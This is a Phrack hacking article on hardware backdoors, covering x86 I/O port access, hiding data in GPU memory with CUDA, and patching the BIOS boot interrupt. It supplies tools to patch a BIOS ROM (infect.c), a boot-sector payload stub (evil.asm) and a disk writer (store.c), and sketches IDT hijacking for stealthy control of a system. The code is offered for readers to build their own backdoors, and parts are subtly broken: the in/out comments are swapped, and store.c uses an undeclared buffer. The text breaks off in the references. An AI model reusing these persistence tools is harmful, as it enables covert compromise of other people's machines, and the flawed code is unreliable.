_ _ _/B\_ _/W\_ (* *) Phrack #64 file 12 (* *) | - | | - | | | Hacking deeper in the system | | | | | | | | by scythale | | | | | | | | scythale@gmail.com | | (____________________________________________________) Contents 1. Abstract 2. A quick introduction to I/O system 3. Playing with GPU 4. Playing with BIOS 5. Conclusion 6. References 7. Thanks 1. Abstract Today, we're observing a growing number of papers focusing on hardware hacking. Even if hardware-based backdoors are far from being a good solution to use in the wild, this topic is very important as some big corporations are planning to take control of our computers without our consent using some really bad designed concepts such as DRM and TCPA. As we can't let them do this at any cost, the time has come for a little introduction to the hardware world... This paper constitutes a tiny introduction to hardware hacking in the backdoor writers perspective (hey, this is phrack, I'm not going to explain how to pilot your coffee machine with a RS232 interface). The thing is even if backdooring hardware isn't a so good idea, it is a good way to start in hardware hacking. The aim of the author is to give readers the basis of hardware hacking which should be usefull to prepare for the fight against TCPA and other crappy things sponsored by big sucke... erm... "companies" such as Sony and Microsoft. This paper is i386 centric. It does not cover any other architecture, but it can be used as a basis on researches about other hardware. Thus bear in mind that most of the material presented here won't work on any other machine than a PC. Subjects such as devices, BIOS and internal work of a PC will be discussed and some ideas about turning all these things to our own advantage will be presented. This paper IS NOT an ad nor a presentation of some 3v1L s0fTw4r3, so you won't find a fully functionnal backdoor here. The aim of the author is to provide information that would help you in writing your own stuff, not to provide you with an already done work. This subject isn't a particularly difficult one, all it just takes is immagination. In order to understand this article, some knowledge about x86 assembly and architecture is heavily recommended. If you're a newbie to these subjects, I strongly recommend you to read "The Art of Assembly Programming" (see [1]). 2. A quick introduction to I/O system Before digging straight into the subject, some explanations must be done. Those of you who already know how I/O works on Intel's and what they're here for might just prefer to skip to the next section. Others, just keep on reading. As this paper focuses on hardware, it would be practical to know how to access it. The I/O system provides such an access. As everybody knows, the processor (CPU) is the heart, or, more accurately, the brain of the computer. But the only thing it does is to compute. Basically, a CPU isn't of much help without devices. Devices give data to be computed to the CPU, and allow it to bring back an answer to our requests. The I/O system is used to link most of devices to the CPU. The way processors see I/O based devices is quite the same as the way they see memory. In fact, all the processors do to communicate with devices is to read and write data "somewhere in memory" : the I/O system is charged to handle the next steps. This "somewhere in memory" is represented by an I/O port. I/O ports are special "addresses" that connects the CPU data bus to the device. Each I/O based device uses at least one I/O port, many of them using several. Basically, the only thing device drivers do is to manipulate I/O ports (well, very basically, that's what they do, just to communicate with hardware). The Intel Architecture provides three main ways to manipulate I/O ports : memory-mapped I/O, Input/Output mapped I/O and DMA. memory-mapped I/O The memory-mapped I/O system allows to manipulate I/O ports as if they were basic memory. Instructions such as 'mov' are used to interface with it. This system is simple : all it does is to map I/O ports to memory addresses so that when data is written/read at one of these addresses, the data is actually sent to/received by the device connected to the corresponding port. Thus, the way to communicate with a device is the same as communicating with memory. Input/Output mapped I/O The Input/Output mapped I/O system uses dedicated CPU instructions to access I/O ports. On i386, these instructions are 'in' and 'out' : in 254, reg ; writes content of reg register to port #254 out reg, 254 ; reads data from port #254 and stores it in reg The only problem with these two instructions is that the port is 8 bit-encoded, allowing only an access to ports 0 to 255. The sad thing is that this range of ports is often connected to internal hardware such as the system clock. The way to circomvent it is the following (taken from "The Art of Assembly Programming, see [1]) : To access I/O ports at addresses beyond 255 you must load the 16-bit I/O address into the DX register and use DX as a pointer to the specified I/O address. For example, to write a byte to the I/O address $378 you would use an instruction sequence like the following: mov $378, dx out al, dx DMA DMA stands for Direct Memory Access. The DMA system is used to enhance devices to memory performances. Back in the old days, most hardware made use of the CPU to transfer data to and from memory. When computers started to become "multimedia" (a term as meaningless as "people ready" but really good looking in "we-are-trying-to-fuck-you-deep-in-the-ass ads"), that is when computers started to come equiped with CD-ROM and sound cards, CPU couldn't handle tasks such as playing music while displaying a shotgun firing at a monster because the user just has hit the 'CTRL' key. So, constructors created a new chip to be able to carry out such things, and so was born the DMA controller. DMA allows devices to transfer data from and to memory with little operations done by the CPU. Basically, all the CPU does is to initiate the DMA transfer and then the DMA chip takes care of the rest, allowing the CPU to focus on other tasks. The very interesting thing is that since the CPU doesn't actually do the transfer and since devices are being used, protected mode does not interfere, which means we can write and read (almost) anywhere we would like to. This idea is far from being new, and PHC already evoqued it in one of their phrack parody. DMA is really a powerfull system. It allows us to do very cool tricks but this come as the expense of a great prize : DMA is a pain in the ass to use as it is very hardware specific. Here follows the main different kinds of DMA systems : - DMA Controller (third-party DMA) : this DMA system is really old and inefficient. The idea here is to have a general DMA Controller on the motherboard that will handle every DMA operations for every devices. This controller was mainly used with ISA devices and its use is now deprecated because of performance issues and because only 4 to 8 (depending if the board had two cascading DMA Controllers) DMA transfers could be setup at the same time (the DMA Controller only provides 4 channels). - DMA Bus mastering (first-party DMA) : this DMA system provides far better performances than the DMA Controller. The idea is to allow each device to manage DMA himself by a processus known as "Bus Mastering". Instead of relying on the general DMA Controller, each device is able to take control of the system bus to perform its transfers, allowing hardware manufacturers to provide an efficient system for their devices. These three things are practical enough to get started but modern operating systems provides medias to access I/O too. As there are a lot of these systems on the computer market, I'll introduce only the GNU/Linux system, which constitutes a perfect system to discover hardware hacking on Intel. As many systems, Linux is run in two modes : user land and kernel land. Since Kernel land already allows a good control on the system, let's see the user land ways to access I/O. I'll explain here two basic ways to play with hardware : in*(), out*() and /dev/port : in/out The in and out instructions can be used on Linux in user land. Equally, the functions outb(2), outw(2), outl(2), inb(2), inw(2), inl(2) are provided to play with I/O and can be called from kernel land or user land. As stated in "Linux Device Drivers" (see [2]), their use is the following : unsigned inb(unsigned port); void outb(unsigned char byte, unsigned port); Read or write byte ports (eight bits wide). The port argument is defined as unsigned long for some platforms and unsigned short for others. The return type of inb is also different across architectures. unsigned inw(unsigned port); void outw(unsigned short word, unsigned port); These functions access 16-bit ports (word wide); they are not available when compiling for the M68k and S390 platforms, which support only byte I/O. unsigned inl(unsigned port); void outl(unsigned longword, unsigned port); These functions access 32-bit ports. longword is either declared as unsigned long or unsigned int, according to the platform. Like word I/O, "long" I/O is not available on M68k and S390. Note that no 64-bit port I/O operations are defined. Even on 64-bit architectures, the port address space uses a 32-bit (maximum) data path. The only restriction to access I/O ports this way from user land is that you must use iopl(2) or ioperm(2) functions, which sometimes are protected by security systems like grsec. And of course, you must be root. Here is a sample code using this way to access I/O : ------[io.c /* ** Just a simple code to see how to play with inb()/outb() functions. ** ** usage is : ** * read : io r ** * write : io w ** ** compile with : gcc io.c -o io */ #include #include #include #include /* iopl(2) inb(2) outb(2) */ void read_io(long port) { unsigned int val; val = inb(port); fprintf(stdout, "value : %X\n", val); } void write_io(long port, long value) { outb(value, port); } int main(int argc, char **argv) { long port; if (argc < 3) { fprintf(stderr, "usage is : io [value]\n"); exit(1); } port = atoi(argv[2]); if (iopl(3) == -1) { fprintf(stderr, "could not get permissions to I/O system\n"); exit(1); } if (!strcmp(argv[1], "r")) read_io(port); else if (!strcmp(argv[1], "w")) write_io(port, atoi(argv[3])); else { fprintf(stderr, "usage is : io [value]\n"); exit(1); } return 0; } ------ /dev/port /dev/port is a special file that allows you to access I/O as if you were manipulating a simple file. The use of the functions open(2), read(2), write(2), lseek(2) and close(2) allows manipulation of /dev/port. Just go to the address corresponding to the port with lseek() and read() or write() to the hardware. Here is a sample code to do it : ------[port.c /* ** Just a simple code to see how to play with /dev/port ** ** usage is : ** * read : port r ** * write : port w ** ** compile with : gcc port.c -o port */ #include #include #include #include #include #include void read_port(int fd, long port) { unsigned int val = 0; lseek(fd, port, SEEK_SET); read(fd, &val, sizeof(char)); fprintf(stdout, "value : %X\n", val); } void write_port(int fd, long port, long value) { lseek(fd, port, SEEK_SET); write(fd, &value, sizeof(char)); } int main(int argc, char **argv) { int fd; long port; if (argc < 3) { fprintf(stderr, "usage is : io [value]\n"); exit(1); } port = atoi(argv[2]); if ((fd = open("/dev/port", O_RDWR)) == -1) { fprintf(stderr, "could not open /dev/port\n"); exit(1); } if (!strcmp(argv[1], "r")) read_port(fd, port); else if (!strcmp(argv[1], "w")) write_port(fd, port, atoi(argv[3])); else { fprintf(stderr, "usage is : io [value]\n"); exit(1); } return 0; } ------ Ok, one last thing before closing this introduction : for Linux users who want to list the I/O Ports on their system, just do a "cat /proc/ioports", ie: $ cat /proc/ioports # lists ports from 0000 to FFFF 0000-001f : dma1 0020-0021 : pic1 0040-0043 : timer0 0050-0053 : timer1 0060-006f : keyboard 0080-008f : dma page reg 00a0-00a1 : pic2 00c0-00df : dma2 00f0-00ff : fpu 0170-0177 : ide1 01f0-01f7 : ide0 0213-0213 : ISAPnP 02f8-02ff : serial 0376-0376 : ide1 0378-037a : parport0 0388-0389 : OPL2/3 (left) 038a-038b : OPL2/3 (right) 03c0-03df : vga+ 03f6-03f6 : ide0 03f8-03ff : serial 0534-0537 : CS4231 0a79-0a79 : isapnp write 0cf8-0cff : PCI conf1 b800-b8ff : 0000:00:0d.0 b800-b8ff : 8139too d000-d0ff : 0000:00:09.0 d000-d0ff : 8139too d400-d41f : 0000:00:04.2 d400-d41f : uhci_hcd d800-d80f : 0000:00:04.1 d800-d807 : ide0 d808-d80f : ide1 e400-e43f : 0000:00:04.3 e400-e43f : motherboard e400-e403 : PM1a_EVT_BLK e404-e405 : PM1a_CNT_BLK e408-e40b : PM_TMR e40c-e40f : GPE0_BLK e410-e415 : ACPI CPU throttle e800-e81f : 0000:00:04.3 e800-e80f : motherboard e800-e80f : pnp 00:02 $ 3. Playing with GPU 3D cards are just GREAT, period. When you're installing such a card in your computer, you're not just plugging a device that can render nice graphics, you're also putting a mini-computer in your own computer. Today's graphical cards aren't a simple chip anymore. They have memory, they have a processor, they even have a BIOS ! You can enjoy a LOT of features from these little things. First of all, let's consider what a 3D card really is. 3D cards are here to enhance your computer performances rendering 3D and to send output for your screen to display. As I said, there are three parts that interest us in our 3v1L doings : 1/ The Video RAM. It is memory embedded on the card. This memory is used to store the scene to be rendered and to store computed results. Most of today's cards come with more than 256 MB of memory, which provide us a nice place to store our stuff. 2/ The Graphical Processing Unit (shortly GPU). It constitutes the processor of your 3D card. Most of 3D operations are maths, so most of the GPU instructions compute maths designed to graphics. 3/ The BIOS. A lot of devices include today their own BIOS. 3D cards make no exception, and their little BIOS can be very interesting as they contain the firmware of your 3D card, and when you access a firmware, well, you can just nearly do anything you dream to do. I'll give ideas about what we can do with these three elements, but first we need to know how to play with the card. Sadly, as to play with any device in your computer, you need the specs of your material and most 3D cards are not open enough to do whatever we want. But this is not a big problem in itself as we can use a simple API which will talk with the card for us. Of course, this prevents us to use tricks on the card in certain conditions, like in a shellcode, but once you've gained root and can do what pleases you to do on the system it isn't an issue anymore. The API I'm talking about is OpenGL (see [3]), and if you're not already familiar with it, I suggest you to read the tutorials on [4]. OpenGL is a 3D programming API defined by the OpenGL Architecture Review Board which is composed of members from many of the industry's leading graphics vendors. This library often comes with your drivers and by using it, you can develop easily portable code that will use features of the present 3D card. As we now know how to communicate with the card, let's take a deeper look at this hardware piece. GPU are used to transform a 3D environment (the "scene") given by the programmer into a 2D image (your screen). Basically, a GPU is a computing pipeline applying various mathematical operations on data. I won't introduce here the complete process of transforming a 3D scene into a 2D display as it is not the point of this paper. In our case, all you have to know is : 1/ The GPU is used to transform input (usually a 3D scene but nothing prevents us from inputing anything else) 2/ These transformations are done using mathematical operations commonly used in graphical programming (and again nothing prevents us from using those operations for another purpose) 3/ The pipeline is composed of two main computations each involving multiple steps of data transformation : - Transformation and Lighting : this step translates 3D objects into 2D nets of polygons (usually triangles), generating a wireframe rendering. - Rasterization : this step takes the wireframe rendering as input data and computes pixels values to be displayed on the screen. So now, let's take a look at what we can do with all these features. What interests us here is to hide data where it would be hard to find it and to execute instructions outside the processor of the computer. I won't talk about patching 3D cards firmware as it requires heavy reverse engineering and as it is very specific for each card, which is not the subject of this paper. First, let's consider instructions execution. Of course, as we are playing with a 3D card, we can't do everything we can do with a computer processor like triggering software interrupts, issuing I/O operations or manipulating memory, but we can do lots of mathematical operations. For example, we can encrypt and decrypt data with the 3D card's processor which can render the reverse engineering task quite painful. Also, it can speed up programs relying on heavy mathematical operations by letting the computer processor do other things while the 3D card computes for him. Such things have already been widely done. In fact, some people are already having fun using GPU for various purposes (see [5]). The idea here is to use the GPU to transform data we feed him with. GPUs provide a system to program them called "shaders". You can think of shaders as a programmable hook within the GPU which allows you to add your own routines in the data transformation processus. These hooks can be triggered in two places of the computing pipeline, depending on the shader you're using. Traditionnaly, shaders are used by programmers to add special effects on the rendering process and as the rendering process is composed of two steps, the GPU provides two programmable shaders. The first shader is called the "Vexter shader". This shader is used during the transformation and lighting step. The second shader is called the "Pixel shader" and this one is used during the rasterization processus. Ok, so now we have two entry points in the GPU system, but this doesn't tell us how to develop and inject our own routines. Again, as we are playing in the hardware world, there are several ways to do it, depending on the hardware and the system you're running on. Shaders use their own programming languages, some are low level assembly-like languages, some others are high level C-like languages. The three main languages used today are high level ones : - High-Level Shader Language (HLSL) : this language is provided by Microsoft's DirectX API, so you need MS Windows to use it. (see [6]) - OpenGL Shading Language (GLSL or GLSlang) : this language is provided by the OpenGL API. (see [7]) - Cg : this language was introduced by NVIDIA to program on their hardware using either the DirectX API or the OpenGL one. Cg comes with a full toolkit distributed by NVIDIA for free (see [8] and [9]). Now that we know how to program GPUs, let's consider the most interesting part : data hiding. As I said, 3D cards come with a nice amount of memory. Of course, this memory is aimed at graphical usage but nothing prevents us to store some stuff in it. In fact, with the help of shaders we can even ask the 3D card to store and encrypt our data. This is fairly easy to do : we put the data in the beginning of the pipeline, we program the shaders to decide how to store and encrypt it and we're done. Then, retrieving this data is nearly the same operation : we ask the shaders to decrypt it and to send it back to us. Note that this encryption is really weak, as we rely only on shaders' computing and as the encryption and decryption process can be reversed by simply looking at the shaders programming in your code, but this can constitutes an effective way to improve already existing tricks (a 3D card based Shiva could be fun). Ok, so now we can start coding stuff taking advantage of our 3D cards. But wait ! We don't want to mess with shaders, we don't want to learn about 3D programming, we just want to execute code on the device so we can quickly test what we can do with those devices. Learning shaders programming is important because it allows to understand the device better but it can be really long for people unfamiliar with the 3D world. Recently, nVIDIA released a SDK allowing programmers to easily use 3D devices for other purposes than graphisms. nVIDIA CUDA (see [10]) is a SDK allowing programmers to use the C language with new keywords used to tell the compiler which part of the code should be executed on the device and which part of the code should be executed on the CPU. CUDA also comes with various mathematical libraries. Here is a funny code to illustrate the use of CUDA : ------[ 3ddb.c /* ** 3ddb.c : a very simple program used to store an array in ** GPU memory and make the GPU "encrypt" it. Compile it using nvcc. */ #include #include #include #include #include /*** GPU code and data ***/ char * store; __global__ void encrypt(int key) { /* do any encryption you want here */ /* and put the result into 'store' */ /* (you need to modify CPU code if */ /* the encrypted text size is */ /* different than the clear text */ /* one). */ } /*** end of GPU code and data ***/ /*** CPU code and data ***/ CUdevice dev; void usage(char * cmd) { fprintf(stderr, "usage is : %s \n", cmd); exit(0); } void init_gpu() { int count; CUT_CHECK_DEVICE(); CU_SAFE_CALL(cuInit()); CU_SAFE_CALL(cuDeviceGetCount(&count)); if (count <= 0) { fprintf(stderr, "error : could not connect to any 3D card\n"); exit(-1); } CU_SAFE_CALL(cuDeviceGet(&dev, 0)); CU_SAFE_CALL(cuCtxCreate(dev)); } int main(int argc, char ** argv) { int key; char * res; if (argc != 3) usage(argv[0]); init_gpu(); CUDA_SAFE_CALL(cudaMalloc((void **)&store, strlen(argv[1]))); CUDA_SAFE_CALL(cudaMemcpy(store, argv[1], strlen(argv[1]), cudaMemcpyHostToDevice)); res = malloc(strlen(argv[1])); key = atoi(argv[2]); encrypt<<<128, 256>>>(key); CUDA_SAFE_CALL(cudaMemcpy(res, store, strlen(argv[1]), cudaMemcpyDeviceToHost)); for (i = 0; i < strlen(argv[1]); i++) printf("%c", res[i]); CU_SAFE_CALL(cuCtxDetach()); CUT_EXIT(argc, argv); return 0; } ------ 4. Playing with BIOS BIOSes are very interesting. In fact, little work has already been done in this area and some stuff has already been published. But let's recap all this things and take a look at what wonderful tricks we can do with this little chip. First of all, BIOS means Basic Input/Output System. This chip is in charge of handling boot process, low-level configuration and of providing a set of functions for boot loaders and operating systems during their early loading processus. In fact, at boot time, BIOS takes control of the system first, then it does a couple of checks, then it sets an IDT to provide features via interruptions and finally tries to load the boot loader located in each bootable device, following its configuration. For example, if you specify in your BIOS setup to first try to boot on optical drive and then on your harddrive, at boot time the BIOS will first try to run an OS from the CD, then from your harddrive. BIOSes' code is the VERY FIRST code to be executed on your system. The interesting thing is that backdooring it virtually gives us a deep control of the system and a practical way to bypass nearly any security system running on the target, since we execute code even before this system starts ! But the inconvenient of this thing is big : as we are playing with hardware, portability becomes a really big issue. The first thing you need to know about playing with BIOS is that there are several ways to do it. Some really good publications (see [11]) have been made on the subject, but I'll focus on what we can do when patching the ROM containing the BIOS. BIOSes are stored in a chip located on your motherboard. Old BIOSes were single ROMs without write possibilities, but then some manufacturers got the brilliant idea to allow BIOS patching. They introduced the BIOS flasher, which is a little device we can communicate with using the I/O system. The flasher can read and write the BIOS for us, which is all we need to play in this land. Of course, as there are many different BIOSes in the wild, I won't introduce any particular chip. Here are some pointers that will help you : * [12] /dev/bios is a tool from the OpenBIOS initiative (see [13]). It is a kernel module for Linux that creates devices to easily manipulate various BIOSes. It can access several BIOSes, including network card BIOSes. It is a nice tool to play with and the code is nice, so you'll see how to get your hands to work. * [14] is a WONDERFUL guide that will explain you nearly everything about Award BIOSes. This paper is a must read for anyone interested in this subject, even if you don't own an Award BIOS. * [15] is an interesting website to find information about various BIOSes. In order to start easy and fast, we'll use a virtual machine, which is very handy to test your concepts before you waste your BIOS. I recommend you to use Bochs (see [16]) as it is free and open source and mainly because it comes with a very well commented source code used to emulate a BIOS. But first, let's see how BIOSes really work. As I said, BIOS is the first entity which has the control over your system at boottime. The interesting thing is, in order to start to reverse engineer your BIOS, that you don't even need to use the flasher. At the start of the boot process, BIOS's code is mapped (or "shadowed") in RAM at a specific location and uses a specific range of memory. All we have to do to read this code, which is 16 bits assembly, is to read memory. BIOS memory area starts at 0xf0000 and ends at 0x100000. An easy way to dump the code is to simply do a : % dd if=/dev/mem of=BIOS.dump bs=1 count=65536 seek=983040 % objdump -b binary -m i8086 -D BIOS.dump You should note that as BIOS contains data, such a dump isn't accurate as you will have a shift preventing code to be disassembled correctly. To address this problem, you should use the entry points table provided farther and use objdump with the '--start-address' option. Of course, the code you see in memory is rarely easy to retrieve in the chip, but the fact you got the somewhat "unencrypted text" can help a lot. To get started to see what is interesting in this code, let's have a look at a very interesting comment in the Bochs BIOS source code (from [17]) : 30 // ROM BIOS compatability entry points: 31 // =================================== 32 // $e05b ; POST Entry Point 33 // $e2c3 ; NMI Handler Entry Point 34 // $e3fe ; INT 13h Fixed Disk Services Entry Point 35 // $e401 ; Fixed Disk Parameter Table 36 // $e6f2 ; INT 19h Boot Load Service Entry Point 37 // $e6f5 ; Configuration Data Table 38 // $e729 ; Baud Rate Generator Table 39 // $e739 ; INT 14h Serial Communications Service Entry Point 40 // $e82e ; INT 16h Keyboard Service Entry Point 41 // $e987 ; INT 09h Keyboard Service Entry Point 42 // $ec59 ; INT 13h Diskette Service Entry Point 43 // $ef57 ; INT 0Eh Diskette Hardware ISR Entry Point 44 // $efc7 ; Diskette Controller Parameter Table 45 // $efd2 ; INT 17h Printer Service Entry Point 46 // $f045 ; INT 10 Functions 0-Fh Entry Point 47 // $f065 ; INT 10h Video Support Service Entry Point 48 // $f0a4 ; MDA/CGA Video Parameter Table (INT 1Dh) 49 // $f841 ; INT 12h Memory Size Service Entry Point 50 // $f84d ; INT 11h Equipment List Service Entry Point 51 // $f859 ; INT 15h System Services Entry Point 52 // $fa6e ; Character Font for 320x200 & 640x200 Graphics \ (lower 128 characters) 53 // $fe6e ; INT 1Ah Time-of-day Service Entry Point 54 // $fea5 ; INT 08h System Timer ISR Entry Point 55 // $fef3 ; Initial Interrupt Vector Offsets Loaded by POST 56 // $ff53 ; IRET Instruction for Dummy Interrupt Handler 57 // $ff54 ; INT 05h Print Screen Service Entry Point 58 // $fff0 ; Power-up Entry Point 59 // $fff5 ; ASCII Date ROM was built - 8 characters in MM/DD/YY 60 // $fffe ; System Model ID These offsets indicate where to find specific BIOS functionalities in memory and, as they are standard, you can apply them to your BIOS too. For example, the BIOS interruption 19h is located in memory at 0xfe6f2 and its job is to load the boot loader in RAM and to jump on it. On old systems, a little trick was to jump to this memory location to reboot the system. But before considering BIOS code modification, we have one issue to resolve : BIOS chips have limited space, and if it can provide enough space for basic backdoors, we'll end up quickly begging for more places to store code if we want to do something nice. We have two ways to get more space : 1/ We patch the int19h code so that instead of loading the real bootloader on a device specified, it loads our code (which will load the real bootloader once it's done) at a specific location, like a sector marked as defective on a specific hard drive. Of course, this operation implies alteration of another media than BIOS, but, since it provides us with as nearly as many space as we could dream, this method must be taken into consideration 2/ If you absolutely want to stay in BIOS space, you can do a little trick on some BIOS models. One day, processors manufacturers made a deal with BIOS manufacturers. Processor manufacturers decided to give the possibility to update the CPU's microcode in order to fix bugs without having to recall all sold material (remember the f00f bug ?). The idea was that the BIOS would store the updated microcode and inject it in the CPU during each boot process, as modifications on microcode aren't permanent. This feature is known as "BIOS update". Of course, this microcode takes space and we can search for the code injecting it, hook it so it doesn't do anything anymore and erase the microcode to store our own code. Implementing 2/ is more complex than 1/, so we'll focus on the first one to get started. The idea is to make the BIOS load our own code before the bootloader. This is very easy to do. Again, BochsBIOS sources will come in handy, but if you look at your BIOS dump, you should see very little differences. The code which interests us is located at 0xfe6f2 and is the 19h BIOS interrupt. This one is very interesting as this is the one in charge of loading the boot loader. Let's take a look at the interesting part of its code : 7238 // We have to boot from harddisk or floppy 7239 if (bootcd == 0) { 7240 bootseg=0x07c0; 7241 7242 ASM_START 7243 push bp 7244 mov bp, sp 7245 7246 mov ax, #0x0000 7247 mov _int19_function.status + 2[bp], ax 7248 mov dl, _int19_function.bootdrv + 2[bp] 7249 mov ax, _int19_function.bootseg + 2[bp] 7250 mov es, ax ;; segment 7251 mov bx, #0x0000 ;; offset 7252 mov ah, #0x02 ;; function 2, read diskette sector 7253 mov al, #0x01 ;; read 1 sector 7254 mov ch, #0x00 ;; track 0 7255 mov cl, #0x01 ;; sector 1 7256 mov dh, #0x00 ;; head 0 7257 int #0x13 ;; read sector 7258 jnc int19_load_done 7259 mov ax, #0x0001 7260 mov _int19_function.status + 2[bp], ax 7261 7262 int19_load_done: 7263 pop bp 7264 ASM_END int13h is the BIOS interruption used to access storage devices. In our case, BIOS is trying to load the boot loader, which is on the first sector of the drive. The interesting thing is that by only changing the value put in one register, we can make the BIOS load our own code. For instance, if we hide our code in the sector number 0xN and if we patch the BIOS so that instead of the instruction 'mov cl, #0x01' we have 'mov cl, #0xN', we can have our code loaded at each boot and reboot. Basically, we can store our code wherever we want to as we can change the sector, the track and even the drive to be used. It is up to you to chose where to store your code but as I said, a sector marked as defective can work out as an interesting trick. Here are three source codes to help you get started faster : the first one, inject.c, modifies the ROM of the BIOS so that it loads our code before the boot loader. inject.c needs /dev/bios to run. The second one, code.asm, is a skeletton to fill with your own code and is loaded by the BIOS. The third one, store.c, inject code.asm in the target sector of the first track of the hard drive. --[ infect.c #define _GNU_SOURCE #include #include #include #include #include #define BUFSIZE 512 #define BIOS_DEV "/dev/bios" #define CODE "\xbb\x00\x00" /* mov bx, 0 */ \ "\xb4\x02" /* mov ah, 2 */ \ "\xb0\x01" /* mov al, 1 */ \ "\xb5\x00" /* mov ch, 0 */ \ "\xb6\x00" /* mov dh, 0 */ \ "\xb1\x01" /* mov cl, 1 */ \ "\xcd\x13" /* int 0x13 */ #define TO_PATCH "\xcd\x13" /* mov cl, 1 */ #define SECTOR_OFFSET 1 void usage(char *cmd) { fprintf(stderr, "usage is : %s [bios rom] \n", cmd); exit(1); } /* ** This function looks in the BIOS rom and search the int19h procedure. ** The algorithm used sucks, as it does only a naive search. Interested ** readers should change it. */ char * search(char * buf, size_t size) { return memmem(buf, size, CODE, sizeof(CODE)); } void patch(char * tgt, size_t size, int sector) { char new; char * tmp; tmp = memmem(tgt, size, TO_PATCH, sizeof(TO_PATCH)); new = (char)sector; tmp[SECTOR_OFFSET] = new; } int main(int argc, char **argv) { int sector; size_t i; size_t ret; size_t cnt; int devfd; int outfd; char * buf; char * dev; char * out; char * tgt; if (argc == 3) { dev = BIOS_DEV; out = argv[2]; sector = atoi(argv[1]); } else if (argc == 4) { dev = argv[1]; out = argv[3]; sector = atoi(argv[2]); } else usage(argv[0]); if ((devfd = open(dev, O_RDONLY)) == -1) { fprintf(stderr, "could not open BIOS\n"); exit(1); } if ((outfd = open(out, O_WRONLY | O_TRUNC | O_CREAT)) == -1) { fprintf(stderr, "could not open %s\n", out); exit(1); } for (cnt = 0; (ret = read(devfd, buf, BUFSIZE)) > 0; cnt += ret) buf = realloc(buf, ((cnt + ret) / BUFSIZE + 1) * BUFSIZE); if (ret == -1) { fprintf(stderr, "error reading BIOS\n"); exit(1); } if ((tgt = search(buf, cnt)) == NULL) { fprintf(stderr, "could not find code to patch\n"); exit(1); } patch(tgt, cnt, sector); for (i = 0; (ret = write(outfd, buf + i, cnt - i)) > 0; i += ret) ; if (ret == -1) { fprintf(stderr, "could not write patched ROM to disk\n"); exit(1); } close(devfd); close(outfd); free(buf); return 0; } --- --[ evil.asm ;;; ;;; A sample code to be loaded by an infected BIOS instead of ;;; the real bootloader. It basically moves himself so he can ;;; load the real bootloader and jump on it. Replace the nops ;;; if you want him to do something usefull. ;;; ;;; usage is : ;;; no usage, this code must be loaded by store.c ;;; ;;; compile with : nasm -fbin evil.asm -o evil.bin ;;; BITS 16 ORG 0 ;; we need this label so we can check the code size entry: jmp begin ; jump over data ;; here comes data drive db 0 ; drive we're working on begin: mov [drive], dl ; get the drive we're working on ;; segments init mov ax, 0x07C0 mov ds, ax mov es, ax ;; stack init mov ax, 0 mov ss, ax mov ax, 0xffff mov sp, ax ;; move out of the zone so we can load the TRUE boot loader mov ax, 0x7c0 mov ds, ax mov ax, 0x100 mov es, ax mov si, 0 mov di, 0 mov cx, 0x200 cld rep movsb ;; jump to our new location jmp 0x100:next next: ;; to jump to the new location ;; load the true boot loader mov dl, [drive] mov ax, 0x07C0 mov es, ax mov bx, 0 mov ah, 2 mov al, 1 mov ch, 0 mov cl, 1 mov dh, 0 int 0x13 ;; do your evil stuff there (ie : infect the boot loader) nop nop nop ;; execute system jmp 07C0h:0 size equ $ - entry %if size+2 > 512 %error "code is too large for boot sector" %endif times (512 - size - 2) db 0 ; fill 512 bytes db 0x55, 0xAA ; boot signature --- --[ store.c /* ** code to be used to store a fake bootloader loaded by an infected BIOS ** ** usage is : ** store ** ** compile with : gcc store.c -o store */ #include #include #include #include #define CODE_SIZE 512 #define SECTOR_SIZE 512 void usage(char *cmd) { fprintf(stderr, "usage is : %s ", cmd); exit(0); } int main(int argc, char **argv) { int off; int i; int devfd; int codefd; int cnt; char code[CODE_SIZE]; if (argc != 4) usage(argv[0]); if ((devfd = open(argv[1], O_RDONLY)) == -1) { fprintf(stderr, "error : could not open device\n"); exit(1); } off = atoi(argv[2]); if ((codefd = open(argv[3], O_RDONLY)) == -1) { fprintf(stderr, "error : could not open code file\n"); exit(1); } for (cnt = 0; cnt != CODE_SIZE; cnt += i) if ((i = read(codefd, &(mbr[cnt]), CODE_SIZE - cnt)) <= 0) { fprintf(stderr, "error reading code\n"); exit(1); } lseek(devfd, (off - 1) * SECTOR_SIZE, SEEK_SET); for (cnt = 0; cnt != CODE_SIZE; cnt += i) if ((i = write(devfd, &(mbr[cnt]), CODE_SIZE - cnt)) <= 0) { fprintf(stderr, "error reading code\n"); exit(1); } close(devfd); close(codefd); printf("Device infected\n"); return 0; } --- Okay, now that we can load our code using the BIOS, time has come to consider what we can do in this position. As we are nearly the first one to have control over the system, we can do really interesting things. First, we can hijack BIOS interruptions and make them jump to our code. This is interesting because instead of writing all the code in the BIOS, we can now hijack BIOS routines having as much space as we need and without having to do a lot of reverse engineering. Next, we can easily patch the boot loader on-thy-fly as it is our own code which loads it. In fact, we don't even have to call the true boot loader if we don't want to, we can make a fake one that loads a nicely patched kernel based on the real one. Or you can make a fake boot loader (or even patch the real one on-the-fly) that loads the real kernel and patch it on the fly. The choice is up to you. Finally, I would talk about one last thing that came on my mind. Combined with IDTR hijacking, patching the BIOS can assure us a complete control of the system. We can patch the BIOS so that it loads our own boot loader. This boot loader is a special one, in fact it loads a mini-OS of our own which sets an IDT. Then, as we hijacked the IDTR register (there are several ways to do it, the easiest being patching the target OS boot process in order to prevent him to erase our IDT), we can then load the true boot loader which will load the true kernel. At this time, our own os will hijack the entire system with its own IDT proxying any interrupt you want to, hijacking any event on the system. We even can use the system clock as a scheduler forthe two OS : the tick will be caught by our own OS and depending the configuration (we can say for example 10% of the time for our OS and 90% for the real OS), we can execute our code or give the control to the real OS by jumping on its IDT. You can do lot of things simply by patching the BIOS, so I suggest you to implement your own ideas. Remember this is not so difficult, documentation about this subject already exists and we can really do lots of things. Just remember to use Bochs for tests before going in the wild, it certainly isn't fun when smoke comes out of one of the motherboard's chips... 5. Conclusion So that's it, hardware can be backdoored quite easily. Of course, what I demonstrated here was just a fast overview. We can do LOTS of things with hardware, things that can assure us a total control of the computer we're on and remain stealth. There is a huge work to do in this area as more and more devices become CPU independent and implement many features that can be used to do funny things. Imagination (and portability, sic...) are the only limits. For people very interested in having fun in the hardware world, I suggest to take a look at CPU microcode programming system (start with the AMD K8 reverse engineering, see [18]), network cards BIOSes and the PXE system. (And hardware hacking can be a fun start to learn to fuck the TCPA system). 6. References [1] : The Art of Assembly Programming - Randall Hyde (http://webster.cs.ucr.edu/AoA/index.html) [2] : Linux Device Drivers - Alessandro Rubini, Jonathan Corbet (http://www.xml.com/ldd/chapter/book/) [3] : OpenGL (http://www.opengl.org/) [4] : Neon Helium Productions (NeHe) 